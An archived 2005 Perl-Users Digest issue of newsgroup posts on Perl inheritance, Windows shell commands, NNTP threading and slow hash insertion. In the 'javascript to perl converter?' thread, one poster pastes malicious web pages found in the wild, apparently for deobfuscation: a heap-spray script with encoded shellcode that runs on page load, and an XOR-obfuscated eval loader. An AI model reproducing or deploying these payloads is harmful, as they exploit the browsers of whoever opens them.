[26631] in Perl-Users-Digest
Perl-Users Digest, Issue: 8740 Volume: 10
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Wed Dec 7 00:05:16 2005
Date: Tue, 6 Dec 2005 21:05:05 -0800 (PST)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Perl-Users Digest Tue, 6 Dec 2005 Volume: 10 Number: 8740
Today's topics:
Re: A simple inheritance question. <invalid@nowhere.com>
Re: A simple inheritance question. <invalid@nowhere.com>
executing commands in the same shell in Windows using P <appumail@gmail.com>
Re: How do I reply a NNTP message? (Jamie)
Re: javascript to perl converter? <no-spam@new.rr.com>
Re: javascript to perl converter? <no-spam@new.rr.com>
Re: Slow insertion to hashes? <jindroush.nospam@seznam.cz>
Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Tue, 06 Dec 2005 21:55:31 -0600
From: Don Gatlin <invalid@nowhere.com>
Subject: Re: A simple inheritance question.
Message-Id: <pan.2005.12.07.03.55.28.885340@nowhere.com>
> With $object1 you called the addakey function in order to get an extra
> field. You have to do the same with $object2, of course, especially
> since it inherits from object1, and hence has the same behaviour (unless
> you change it).
I backed up and got real simple. The second object I am playing with is
now totally empty. All it does is inherit.
Package Class2;
use Class1;
use base 'Class1';
1;
Now there is no doubt of which one I am looking at when I debug.
I am learning by example and by modifying examples so far and I can now
inherit methods all day long and they not only work, they even make sense,
which is scary. But everytime I inherit an object from another, the data
does not come along, only the methods - unless the data was put there by
the new() constructor in the first place. If I add more data and then
inherit the object, the newer data is not there.
I think I see the problem, as a previous poster pointed out. When I watch
the object being inherited (by tracing with dtkdb) I can see the
constructor of Class1 being called which makes a new and empty object
(empty as far as the hash is concerned). It is probably doing exactly
what I told it to do.
> super thick is certainly not equivalent with good with books. Some
> people here probably remember "Perl Unleashed".
Sorry, that was just an unobvious joke. I have long since realised that
most computer books are made to sell, not to learn from. One real thick
useless one from Black Book I use to put my Dr. Pepper on so as not to get
printouts wet.
> perldoc perlboot
> perldoc perltoot
Got both and a lot more of perldocs printed out and well thumbed.
Don Gatlin
(or CptKrf depending on location)
------------------------------
Date: Tue, 06 Dec 2005 21:57:54 -0600
From: Don Gatlin <invalid@nowhere.com>
Subject: Re: A simple inheritance question.
Message-Id: <pan.2005.12.07.03.57.54.763420@nowhere.com>
On Tue, 06 Dec 2005 17:10:48 -0700, Scott Bryce wrote:
> Don Gatlin wrote:
>> Got to get a book on actual POOP if one exists.
>
> Object Oriented Perl by Damian Conway
Found it at Booksamillion online and it is coming. Not many books on Perl
oop available. Probably not enough room in the warehouses from the fifty
thousand C++ oop books in stock.
Thanks
Don Gatlin
(Or CptKrf depending on location)
------------------------------
Date: Wed, 07 Dec 2005 09:27:03 +0530
From: Murugesh <appumail@gmail.com>
Subject: executing commands in the same shell in Windows using Perl
Message-Id: <cktlf.45$cw2.200@news.oracle.com>
Hi all,
I need to execute a series a commands inside the same shell in
Windows.As system() spaws a new shell,how can we do it.
command1 and command2 should be executed in the same shell unlike the
following.
...
system("command1");
system("command2");
...
Appreciate any help on this.
Thanks,
Appu
------------------------------
Date: Wed, 07 Dec 2005 02:08:19 GMT
From: nospam@geniegate.com (Jamie)
Subject: Re: How do I reply a NNTP message?
Message-Id: <Lucy1133921078108850xaa1f48@air.tunestar.net>
In: <VNSdnRKtScA2uAjenZ2dnUVZ_t-dnZ2d@rogers.com>, "OttawaTrade" <speediercoREMOVE_THIS@yahoo.com> wrote:
>I am kind of confused by MSGNUM and MSGID.
MSGID is the articles message ID.
>I don't want the replies become a new thread. I want them to follow the
>prevous posted messages.
NNTP doesn't "know" about threading, client programs need to do this
themselves. One useful way (most servers support it) is to use the XOVER
command to fetch references.
Basically, you need to do threading client-side.
BTW, I'd strongly recommend against posting messages from a web site.
Jamie
--
http://www.geniegate.com Custom web programming
guhzo_42@lnubb.pbz (rot13) User Management Solutions
------------------------------
Date: Wed, 07 Dec 2005 02:46:53 GMT
From: "P. Thompson" <no-spam@new.rr.com>
Subject: Re: javascript to perl converter?
Message-Id: <Pine.LNX.4.63.0512062039480.23339@localhost.localdomain>
On Tue, 6 Dec 2005, Eric Schwartz wrote:
> "P. Thompson" <no-spam@new.rr.com> writes:
>> function dF(s){var s1=unescape(s.substr(0,s.length-1)); var
>> t='';for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1))
>>
>> but for whatever reason I am having trouble getting my mind around what to
>> do to convert it.
>
> No wonder. It's poorly-written.
Deliberately obscurely written.
> Except perhaps as someone's very silly idea of "encryption", I can't
> figure out what this is supposed to do.
Exactly, it was written by a virus distributer to obscure the actual
location of the virus. The simpler ones I was able to make perl versions.
The harder ones I had trouble getting my mind around to do that. I am
actually better at perl than js but not a master. The js has been what
has delayed or stymied me.
> I seriously doubt such a utility would be feasible, and if one exists,
> I would advise giving it a wide berth; the odds that it's correct and
> good are very slim.
Yes, the fancy html bits are probably not feasible. The cheesy url
obscurers like my example would be feasible since perl is built with
better support for the mathematical operations to begin with.
I appreciate your efforts at recombobulating the js in perl, I will try it
out tomorrow.
---
Lord, protect me from those to whom you speak directly
All salute the new age, and I hope nobody escapes
------------------------------
Date: Wed, 07 Dec 2005 02:56:25 GMT
From: "P. Thompson" <no-spam@new.rr.com>
Subject: Re: javascript to perl converter?
Message-Id: <Pine.LNX.4.63.0512062051450.23339@localhost.localdomain>
On Tue, 6 Dec 2005, Eric Schwartz wrote:
>
> No wonder. It's poorly-written.
>
> Note also that $t is not
> returned, but then your snippet above isn't even syntactically correct
> (you don't have a close brace for the function), so I leave that as an
> exercise for the reader.
Right, I wasn't expecting anyone to actually analyse it too seriously.
This would be the sort of thing I would like an auto converter for, more
the hex conversions and character morphing. Sorry, I am trying to
find the
original from my example.
<html>
<head>
<script language="JavaScript">
function load(){var x="";var
y="";for(l=1;l<=500;l++)x=x+unescape("%u7030%u4300");for(l=1;l<=200;l
++)y=y+x;n=unescape("%u9090%uBA90%u4142%u4142%uF281%u1111%u1111%u4190%u1139%uFA75%u9090%uF18B%uF88
B%u9057%uC933%uB966%u004B%uA5F3%u9090%u905F%uE7FF");m=unescape("%u5053%u5053%u9090%u9090%u10EB%u33
5E%u66C9%u05B9%u8001%u0E74%u97FF%uF9E2%u19EB%uEBE8%uFFFF%uB1FF%u3B17%uF75F%uC3D7%u8EFB%u07BC%u3A02
%u28FA%u0E7F%uCAB4%uF34E%u961C%u04D7%uD41C%uD768%u6EE2%uCC1C%uF194%uF104%uAC16%uCDDA%u9FE3%u7C16%u
8797%u9797%u667C%u6B1C%u9326%u7F3A%u97C3%u9797%u75C7%uFF60%u1790%u9797%uC068%uFF6F%uF9F8%u9797%uE2
FF%uFBE5%uC3FA%uC068%u046B%u7F3A%u97A3%u9797%u191A%u9755%u9797%u61A4%uE3FF%uE7FA%uFF97%uA7A3%uB9AE
%uC0FF%uD1C5%uFFA7%uADD4%uE9CB%u7B1C%uC1C1%uC6C2%u68C1%u9C47%uE257%uFD91%uC297%uC068%uFD67%u6897%u
63C0%uC1C6%u1C02%uABDC%uDB1C%uEF9C%u5C94%u61A4%u831A%u9424%uB7C6%u851C%u4494%u57A4%u5756%uA590%uD5
95%uAD17%uE297%uAC62%uE352%uD191%uE6AC%uE58F%u1C48%uB3C6%u4494%u2098%uE583%uD61C%u948B%u1C54%u0793
%u5494%uCEC9%uFF54%uE3E3%uADE7%uB8B8%uA2AF%uA5B9%uA2A2%uA6B9%uA4A6%uA5B9%uA5A6%uA2B8%uE4B8%uE3A5%u
E3B8%uE4F2%uF2B9%uF2EF%uD897%uA7A1%uDCA7%uA0D8%uC5AF%uC4C2");y=y+n+m;prompt(y,"*******************
***************************************");}
</script>
<title>****************************************************************</title>
</head>
<body onload="setTimeout('load()', 2000)">
Please wait
</body>
</html>
This one was a little easier and I was able to use the tools I wrote to
convert this:
<script language="JavaScript">
function
k(g){B="";for(J=0;J<g.length;J+=2)B+=String.fromCharCode(parseInt(g.substr(J,2),16)^33);r
eturn
B};eval(k("5553585A591C544F44524240514409030454181118110454181118110454101164630454121214640
45417176218045411126318045419111110045411641615045418166767045467186413045410186463045464636419045
46767676704546310676704541263101604546716146704546212651604541964676304541116636204541260111304541
31967600454116416670454626063150454671215640454181710620454111565160454651510620454651617190454176
46413045462621062045467101815045467101115045460621017045462656560045418676412045416621017045419161
81604541816181604541717166204541763106204541812131704541667126004541816621204541816181604541614621
60454676717110454101618110454181618160454621117190454676717670454671867190454181618160454641367670
45467636414045462126760045462111719045411151763045416671260045418166012045418161816045410181060045
41816141404541816181604541710601504546412676704546416676004546767181604546016601204546318606404546
21167670454651062140454676760160454606565150454641862630454166310620454621062100454621762130454171
96210045418621516045464131416045467651810045462131816045462111719045467651716045417191816045417126
21104546210621704541062111304546063656204546563106204546467186204541462181504541710601504541912106
00454181513150454631662170454191410620454151518150454141660150454141614170454601418110454651418140
45460651016045464131816045460621713045464121413045465101810045464176062045464141967045410621519045
46312621704541515181504541311181904546414191204546517106204541815196304541062141504541116181204541
41518150454626462180454676714150454641264120454606564160454631963190454601360670454601463180454601
36013045460176318045460156017045460146318045460146017045460136319045464156319045464126014045467636
31904546713631804546713646704546519181604546016601004546562601604546011651904546214606704546215621
303081A581C544F445242405144090304541145114504541145114503081A5649484D4409580F4D444F4655491D1159151
111111108580A1C581A581C580F525443525553484F4609110D115912474744150C590F4D444F465549081A4E1C4F44560
1605353405809081A474E5309481C111A481D1514111A480A0A084E7A487C1C580A591A5B1C6C4055490F4244484D09115
945114511451145081A454E42544C444F550F565348554409061D4E434B44425501424D40525248451C03626D7268651B6
4621515156263170C126416640C151917140C631062120C116564161364671218631267031F1D7D0E4E434B4442551F060
81A5B1C454E42544C444F550F524253485155527A117C0F425344405544624E4F55534E4D73404F464409080F4D444F465
5491A5C42405542490944085A5C2C2B"));
</script>
</body>
</html>
Thanks for looking.
------------------------------
Date: Wed, 07 Dec 2005 03:22:22 +0100
From: Jindroush <jindroush.nospam@seznam.cz>
Subject: Re: Slow insertion to hashes?
Message-Id: <dn5h1o$tkc$1@news.vol.cz>
xhoster@gmail.com wrote:
> ##Because I couldn't run your program without file1, I added this
> ##code. I used 1_000_000 because hey, let's push the limits.
> {
> open my $fh, ">$in" or die $!;
> foreach (1..1_000_000) {
> print $fh join (" ", map substr(rand(),0,15), 1..6), "\n";
> };
> close $fh or die $!;
> };
> I don't see anything obviously wrong with your code. The problem is
> probably with your data (hash key collisions) or with your system (reading
> the file iteself is very slow, once you get beyong the part that is cached
> from before. Or some kind of VM problem. Or something else)
>
> Generating the file the way I did above, I saw absolutely no slowing at all
> all the way up to a size of 1_000_000. What do you see if you use my
> random data rather than your actual data?
It is super fast. Just few seconds (I tried just 100_000 :o) )
The file format is
00000000 00000000 00000000 00000000 00000000 filename
first five strings are hexadecimal numbers printed by %08X. Filename is
unique, there can't be duplicate.
I've tried to replace the key of the hash (from 'lc $fname' to '$cnt'),
with no significant speed change - it speaks agains the hash collisions IMO.
So, I did few tests:
a) hash key 'lc $fname', only one 8byte string assignment to %H hash -
36 seconds
b) two assignments - 57 seconds
c) three assigments - 52 seconds
d) 4 assignments - 50 seconds
e) 5 assignments - 90 seconds
f) 6 assignments (including cca 40 bytes long fn) - 120 seconds
g) same as f, but with '$cnt' hashkey - 106 seconds
h) same as f, but 5 values replaced with substr( rand(),0,15) - 47 seconds
i) same as f, but 5 values replaced with random 32bit values sprintfed
as %08X (so 8 byte strings). - 120 seconds
j) same as f, but 5 values converted to numbers by 'hex'. - 51 seconds.
I initially thought that it is just the size of the inserted hash - but
it's obviously not true. The 15bytes long strings from h) are definitely
longer than 8bytes strings from i), but it takes less time to build the
structure?
Regards,
Jindroush
------------------------------
Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>
Administrivia:
#The Perl-Users Digest is a retransmission of the USENET newsgroup
#comp.lang.perl.misc. For subscription or unsubscription requests, send
#the single line:
#
# subscribe perl-users
#or:
# unsubscribe perl-users
#
#to almanac@ruby.oce.orst.edu.
NOTE: due to the current flood of worm email banging on ruby, the smtp
server on ruby has been shut off until further notice.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
#To request back copies (available for a week or so), send your request
#to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
#where x is the volume number and y is the issue number.
#For other requests pertaining to the digest, send mail to
#perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
#sending perl questions to the -request address, I don't have time to
#answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V10 Issue 8740
***************************************